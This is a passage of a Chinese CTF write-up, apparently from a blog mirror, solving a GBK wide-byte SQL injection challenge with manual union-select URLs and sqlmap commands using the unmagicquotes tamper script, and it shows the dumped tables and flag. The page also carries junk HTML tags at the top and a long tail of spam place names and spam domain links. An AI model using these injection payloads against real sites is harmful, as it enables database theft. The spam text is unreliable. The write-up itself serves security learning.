<menu id="ekugk"></menu>
  • <input id="ekugk"></input><object id="ekugk"></object>
  • <input id="ekugk"><u id="ekugk"></u></input>
    <menu id="ekugk"></menu>
  • <input id="ekugk"></input>
  • <menu id="ekugk"><tt id="ekugk"></tt></menu>
    <object id="ekugk"><acronym id="ekugk"></acronym></object>
    <object id="ekugk"></object>
    <table id="ekugk"><small id="ekugk"></small></table>
  • <input id="ekugk"><u id="ekugk"></u></input>
    <menu id="ekugk"></menu>
  • (宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下。

    分享图片

     

    很明显的宽字节注入。

    宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

    手工注入
    1、判断列数:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
    order by 3 时报错,说明只有两列。

    2、各类信息:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
    [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

    3、库名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
    sae-chinalover

    4、表名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(table_name)
    from information_schema.tables
    where table_schema=database()%23
    ctf,ctf2,ctf3,ctf4,news

    5、ctf4表的列名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(column_name)
    from information_schema.columns
    where table_name=0x63746634%23
    id,flag

    这里注意:要将表名ctf4转为16进制

    这里提供一个字符串转16进制的网站:

    http://www.5ixuexiwang.com/str/hex.php

    转了16进制之后记得在前面加上0x

    6、flag列的数据:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(select flag from ctf4)%23
    flag{this_is_sqli_flag}

    sqlmap跑法
    1、查看有哪些库:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
    这个时侯就要用到一个脚本了:

    脚本名:unmagicquotes.py

    作用:宽字符绕过

    分享图片

     

     

    2、表名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

    分享图片

     

     

    3、列名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

     分享图片

     

     

    4、flag列的数据:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

    分享图片

    相关文章
    相关标签/搜索
    2Cm49cOm招猫49论坛 宁海县| 灌云县| 孟连| 洪雅县| 苏州市| 抚松县| 哈尔滨市| 祥云县| 龙州县| 武乡县| 深圳市| 枞阳县| 廉江市| 红桥区| 西平县| 东辽县| 封开县| 乌苏市| 孟村| 土默特右旗| 伊川县| 墨江| 绩溪县| 万宁市| 葫芦岛市| 东城区| 商洛市| 乡宁县| 获嘉县| 吉林市| 黔西县| 五华县| 西乌| 尚志市| 开化县| 贵港市| 太原市| 精河县| 建宁县| 湘西| 呈贡县| 建湖县| 汽车| 临猗县| 西平县| 光泽县| 高密市| 上思县| 古交市| 昌都县| 温泉县| 广宁县| 苍南县| 巧家县| 慈溪市| 筠连县| 将乐县| 永昌县| 宿州市| 池州市| 华坪县| 广水市| 城口县| 遂川县| 吴桥县| 自贡市| 大悟县| 黄龙县| 江源县| 乳山市| 营山县| 肥城市| 林周县| 鄂尔多斯市| 桃园市| 白玉县| 唐河县| 侯马市| 大邑县| 新余市| 南安市| 灵丘县| 望江县| 英超| 济宁市| 景洪市| 濉溪县| 固始县| 旬阳县| 太保市| 石河子市| 阿坝县| 博罗县| 铁岭县| 阿克苏市| 乌恰县| 行唐县| 凉城县| 朝阳区| 科尔| 凤庆县| 霍州市| 临泽县| 长海县| 措美县| 遵化市| 南陵县| 洮南市| 台山市| 叶城县| 和顺县| 西盟| 科技| 通辽市| 锡林郭勒盟| 勐海县| 赤水市| 襄汾县| 张掖市| 龙游县| 泽库县| 沂源县| 合川市| 申扎县| 涞源县| 招远市| 奉化市| 盘山县| 哈密市| 莱阳市| 墨竹工卡县| 泸西县| 沈丘县| 当阳市| 和田县| 宁武县| 宜章县| 红原县| 麻栗坡县| 沈阳市| 大兴区| 民丰县| 田阳县| 朝阳区| 电白县| 霍林郭勒市| 台东市| 公主岭市| 高邮市| 伊宁市| 洞头县| 英山县| 易门县| 陇川县| 贵港市| 宁化县| 洪湖市| 云安县| 盘山县| 两当县| 淮安市| 洛川县| 临夏市| 社旗县| 马公市| 舟山市| 三台县| 攀枝花市| 盱眙县| 漳州市| 涞源县| 临夏县| 大方县| 永丰县| 德安县| 略阳县| 大埔区| 绩溪县| 南华县| 江城| 六盘水市| 老河口市| 辛集市| 鹤岗市| 昔阳县| 报价| 临沂市| 濮阳市| 博兴县| 北安市| 图木舒克市| 景泰县| 凭祥市| 乌兰浩特市| 安宁市| 扎囊县| 景宁| 嘉黎县| 博客| 荔浦县| 汶川县| 嘉峪关市| 京山县| 虞城县| 锡林郭勒盟| 和顺县| 东莞市| 兴化市| 定边县| 武平县| 苍溪县| 格尔木市| 呈贡县| 库车县| 离岛区| 阿坝| 阿坝县| 治县。| 孟津县| 兖州市| 喀喇沁旗| 凭祥市| 克东县| 山丹县| 仙游县| 图木舒克市| 长汀县| 肥城市| 永胜县| 渝北区| 平塘县| 赫章县| 黔江区| 辽宁省| 邢台市| 岑巩县| 栖霞市| 富裕县| 凉山| 台中县| 乡宁县| 新乡县| 同仁县| 阿尔山市| 察哈| 高唐县| 沾化县| 永安市| 柘荣县| 东宁县| 石河子市| 江口县| 金溪县| 综艺| 二连浩特市| 棋牌| 屏东市| 古田县| 普兰县| 阿合奇县| 剑河县| 合水县| 尼勒克县| 资源县| 黄石市| 康平县| 临城县| 清镇市| 南通市| 安龙县| 常山县| 宁武县| 武冈市| 石泉县| 隆德县| 建湖县| 漳平市| 沐川县| 紫阳县| 安多县| 江孜县| 靖边县| 襄樊市| 九江市| 曲沃县| 铜川市| 衡阳市| 长治县| 同心县| 忻州市| 灌云县| 沅陵县| 白玉县| 聂拉木县| 桐柏县| 西华县| 贵溪市| 南城县| 汝州市| 多伦县| 陆良县| 丹巴县| 衢州市| 华宁县| 南靖县| 措勤县| 霸州市| 益阳市| 申扎县| 台湾省| 长子县| 乌苏市| 金沙县| 石首市| 鞍山市| 哈密市| 龙海市| 弥渡县| 福建省| 江达县| 盐城市| 蕉岭县| 牟定县| 奈曼旗| 兰西县| 庐江县| 临泉县| 福州市| 西丰县| 汉中市| 衡山县| 德安县| 府谷县| 固镇县| 姜堰市| 修武县| 娱乐| 双柏县| 太仆寺旗| 大洼县| 杭州市| 桃源县| 遵义市| 白水县| 琼中| 台前县| 满城县| 简阳市| 邯郸市| 青川县| 永定县| 简阳市| 安康市| 油尖旺区| 勐海县| 富川| 汶川县| 克拉玛依市| 营口市| 吴江市| 濮阳市| 渑池县| 双鸭山市| 长宁县| 文昌市| 库伦旗| 安乡县| 肃北| 云和县| 玉林市| 喜德县| 玉树县| 民勤县| 昌江| 鹤山市| 偃师市| 鄢陵县| 淅川县| 嘉荫县| 色达县| 天长市| 吴旗县| 鹤壁市| 聊城市| 美姑县| 翼城县| 广丰县| 沾益县| 高雄市| 台东市| 本溪| 浪卡子县| 烟台市| 襄汾县| 托克逊县| 遵义县| 邹城市| 荆州市| 沽源县| 洪湖市| 通化市| 澄江县| 维西| 龙井市| 桑日县| 金平| 瓮安县| 白河县| 香格里拉县| 读书| 连平县| 安阳县| 杭州市| 台州市| 开远市| 界首市| 泽库县| 正蓝旗| 太康县| 岐山县| 东阳市| 五大连池市| 武宣县| 彭州市| 正安县| 防城港市| 高淳县| 泰州市| 米泉市| 奉节县| 萝北县| 格尔木市| 乐清市| 水富县| 龙口市| 青铜峡市| 温泉县| 响水县| 济阳县| 襄樊市| 宁化县| 东阳市| 宿州市| 崇礼县| 嘉黎县| 吴川市| 宁蒗| 云霄县| 青铜峡市| 罗源县| 铜川市| 泊头市| 沛县| 武义县| 涟水县| 古蔺县| 通海县| 姚安县| 富宁县| 瑞金市| 赤城县| 聂拉木县| 株洲县| 平乡县| 德昌县| 赣州市| 林西县| 上思县| 哈密市| 灵丘县| 永康市| 郑州市| 新乡市| 东兴市| 公安县| 同江市| 嘉定区| 清徐县| 余庆县| 黄浦区| 乌什县| 邻水| 拜城县| 河南省| 镇坪县| 辽宁省| 临颍县| 荆门市| 汝城县| 轮台县| 太仆寺旗| 临洮县| 东乡| 新乡市| 富阳市| 大港区| 霍林郭勒市| 榆中县| 宁阳县| 巴马| 鄂托克前旗| 鹤庆县| 赣州市| 海阳市| 商河县| 小金县| 思南县| 师宗县| 弥渡县| 万盛区| 嘉黎县| 水富县| 阳朔县| 临澧县| 甘南县| 张掖市| 齐河县| 楚雄市| 法库县| 舟山市| 宜州市| 博湖县| 手游| 中超| 驻马店市| 理塘县| 松滋市| 大连市| 介休市| 平顺县| 嘉禾县| 溧水县| 米易县| 财经| 万载县| 堆龙德庆县| 茌平县| 周至县| 乐东| 天峻县| 五原县| 平和县| 平阳县| 平原县| 武平县| 赤峰市| 萨迦县| 南陵县| 广南县| 青岛市| 绥化市| 林芝县| 武乡县| 邓州市| 平乐县| 交城县| 偏关县| 芜湖县| 宁乡县| 新丰县| 定安县| 博湖县| 离岛区| 万盛区| 巴东县| 庆安县| 阜城县| 庄浪县| 巢湖市| 丹凤县| 文化| 右玉县| 昌乐县| 玛沁县| 石嘴山市| 侯马市| 沛县| 屯门区| 华池县| 阿拉尔市| 环江| 光山县| 黑山县| 梁河县| 西昌市| 达拉特旗| 夹江县| 桐乡市| 乌鲁木齐县| 阳信县| 长武县| 鱼台县| 六枝特区| 台东县| 西藏| 札达县| 新和县| 高陵县| 吉木乃县| 百色市| 赣榆县| 衡水市| 永寿县| 汝城县| 鄂温| 溧阳市| 桑植县| 瓮安县| 赞皇县| 武夷山市| 广丰县| 辉南县| 海兴县| 阿鲁科尔沁旗| 济南市| http://m.jx1870cozpanyv.fun http://m.jx1870cutv.fun http://m.jx1870bringv.fun http://m.jx1870bandv.fun http://jx1870bagv.fun http://wap.jx1870dropv.fun http://jx1870billv.fun http://wap.jx1870deterzinev.fun http://m.jx1870breastv.fun http://3g.jx1870eatv.fun http://wap.jx1870centerv.fun http://www.jx1870copyrightv.fun http://3g.jx1870archivev.fun http://wap.jx1870associatev.fun http://3g.jx1870budgetv.fun http://m.jx1870churchv.fun http://3g.jx1870concretev.fun http://wap.jx1870dezandv.fun